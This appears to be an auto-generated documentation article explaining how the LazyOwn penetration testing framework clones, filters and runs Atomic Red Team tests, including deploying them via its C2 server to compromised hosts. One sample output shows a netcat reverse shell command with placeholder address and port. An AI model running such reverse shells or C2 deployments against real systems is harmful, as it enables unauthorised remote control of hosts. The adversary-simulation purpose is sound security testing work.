How LazyOwn Leverages Atomic Red Team for MITRE ATT&CK Testing
LazyOwn integrates Atomic Red Team as a built-in testing engine to automatically clone, parse, and execute MITRE ATT&CK-aligned test cases through interactive CLI commands or C2-driven remote deployment.
LazyOwn is an open-source penetration testing framework that embeds the Atomic Red Team (ART) library to provide operators with a zero-maintenance bridge to adversary simulation. By leveraging Atomic Red Team for testing, the framework automates repository management, test discovery, and script generation, enabling security teams to execute validated ATT&CK techniques locally or via command-and-control (C2) infrastructure without manual artifact handling.
Repository Management and Auto-Updates
When an atomic command is invoked, LazyOwn checks for a local copy of the ART repository under external/.exploit/atomic-red-team.
If the folder does not exist, the framework automatically clones the repository from GitHub. If the folder is present, LazyOwn executes a git pull to ensure the latest ATT&CK techniques are available. This logic is implemented in lazyown.py between lines 21424 and 21431.
Test Discovery and Platform Filtering
LazyOwn scans the atomics sub-directory for every *.yaml file, where each file corresponds to a specific MITRE ATT&CK technique.
The framework builds a filtered dictionary of tests that match the user-selected platform—such as windows, linux, or macos—ensuring operators only see relevant adversary simulations. This discovery mechanism is handled in lazyown.py at lines 21445 through 21463.
Interactive Test Selection
The do_atomic_tests command (invoked as atomic_tests in the CLI) provides an interactive interface for running individual techniques.
Operators first select a target platform from a numbered list. LazyOwn then displays matching tests with their description, supported platforms, and a unique auto-generated GUID that serves as the test ID. The framework prompts for technique-specific variables—such as IP addresses, credentials, or domains—and interpolates these values into the ART-provided prerequisite, download, execution, and cleanup commands.
lazyown> atomic_tests
Select the platform to target:
1. windows
2. macos
3. linux
…
[!] Enter the number of the platform to target: 3
Available Atomic Red Team tests for linux:
1. Test netcat reverse shell (Platforms: linux) Id: 5e0d8c1a-3b1a-4a2b-9c6f-...
[!] Enter the number of the test to execute: 1
Command to execute: nc -e /bin/bash #{ip_address} #{port}
This interactive workflow is defined in lazyown.py at lines 21476 through 21483.
Script Generation and Cleanup Automation
For operators requiring offline or staged execution, the do_atomic_gen command (atomic_gen <GUID>) generates standalone test scripts.
This function extracts the chosen test’s source (src) and binary (bin) assets, copying them to a temporary directory at /tmp/lazyown_atomic_test/.... LazyOwn writes two platform-specific scripts:
atomic_test_<GUID>.<sh|ps1>– Executes prerequisites, fetches missing payloads, and runs the test command.atomic_clean_test_<GUID>.<sh|ps1>– Runs the optional cleanup command to remove artifacts.
The file extension adapts to the target platform (.sh for Unix-like systems, .ps1 for Windows).
lazyown> atomic_gen T1059.001
Atomic ID: T1059.001
Executing test: Command Prompt (Windows)
...
Generated scripts:
/tmp/lazyown_atomic_test/PathToAtomicsFolder/T1059.001/atomic_test_T1059.001.ps1
/tmp/lazyown_atomic_test/PathToAtomicsFolder/T1059.001/atomic_clean_test_T1059.001.ps1
This generation logic appears in lazyown.py between lines 21574 and 21630.
C2-Driven Remote Execution
The do_atomic_lazyown command (atomic_lazyown) combines script generation with command-and-control deployment.
After generating scripts for one or more technique IDs, LazyOwn bundles them into an agent script—a thin launcher that sequentially runs each test script. The framework uploads these files to the C2 server, which then issues the appropriate remote command (/bin/bash or PowerShell) on the compromised host to initiate the atomic test suite.
lazyown> atomic_lazyown T1059.001 T1082
# Generates scripts for both techniques, builds an agent launcher,
# uploads all files to the C2, and issues the remote command.
This C2 integration is implemented in lazyown.py at lines 24188 through 24237.
C2 Integration Hook
The C2 component (lazyc2.py) ensures the ART repository is available at startup by checking for the atomic_framework_path variable.
If the path external/.exploit/atomic-red-team/atomics does not exist, the C2 triggers the same atomic_tests command to bootstrap the repository. This guarantees that any C2-connected implant can request atomic tests on demand without manual intervention.
# lazyc2.py snippet (executed on C2 start)
atomic_framework_path = f'{path}/external/.exploit/atomic-red-team/atomics'
if not os.path.exists(atomic_framework_path):
shell.onecmd('atomic_tests') # triggers cloning / update
This bootstrapping logic is found in lazyc2.py between lines 1645 and 1759.
Summary
- LazyOwn embeds Atomic Red Team to provide a zero-maintenance bridge for MITRE ATT&CK testing.
- The framework automatically manages the ART repository under
external/.exploit/atomic-red-team, cloning or updating as needed vialazyown.py(lines 21424-21431). - Test discovery filters YAML technique files by platform (
windows,linux,macos) to show only relevant tests. - Interactive selection via
atomic_testsprompts for variables and displays test metadata including unique GUIDs. - Script generation via
atomic_gencreates platform-specific.shor.ps1scripts with prerequisite, execution, and cleanup phases. - C2 integration via
atomic_lazyownbundles tests into agent scripts and deploys them to compromised hosts through the C2 server. - The C2 component (
lazyc2.py) auto-bootstraps the ART repository at startup to ensure remote agents can execute tests on demand.
Frequently Asked Questions
How does LazyOwn handle the Atomic Red Team repository if it is missing?
LazyOwn checks for the repository at external/.exploit/atomic-red-team whenever an atomic command is invoked. If the directory does not exist, the framework automatically executes git clone to download the repository; if it exists, it runs git pull to update to the latest techniques. This logic is implemented in lazyown.py at lines 21424 through 21431.
What platforms does LazyOwn support for Atomic Red Team tests?
LazyOwn supports all platforms defined in the ART YAML definitions, including windows, linux, and macos. The do_atomic_tests function filters the available techniques based on the operator’s platform selection, ensuring that only compatible tests are displayed and executed. This platform filtering occurs in lazyown.py between lines 21445 and 21463.
How does LazyOwn generate executable scripts from Atomic Red Team tests?
The do_atomic_gen command takes a technique GUID and generates two platform-specific scripts in /tmp/lazyown_atomic_test/: an execution script (atomic_test_<GUID>.sh or .ps1) and a cleanup script (atomic_clean_test_<GUID>.sh or .ps1). These scripts include prerequisite checks, payload downloads, command execution, and cleanup phases. This generation logic is found in lazyown.py at lines 21574 through 21630.
Can LazyOwn deploy Atomic Red Team tests through a command-and-control server?
Yes, the do_atomic_lazyown command bundles one or more atomic tests into an agent script and uploads it to the LazyOwn C2 server. The C2 then issues remote commands (/bin/bash or PowerShell) on the compromised host to execute the test suite. Additionally, the C2 component (lazyc2.py) auto-bootstraps the ART repository at startup to ensure remote agents can request tests on demand. This C2 integration is implemented in lazyown.py at lines 24188 through 24237 and in lazyc2.py at lines 1645 through 1759.
Have a question about this repo?
These articles cover the highlights, but your codebase questions are specific. Give your agent direct access to the source. Share this with your agent to get started:
curl -s "https://instagit.com/install.md" Maintain an open-source project? Get it listed too →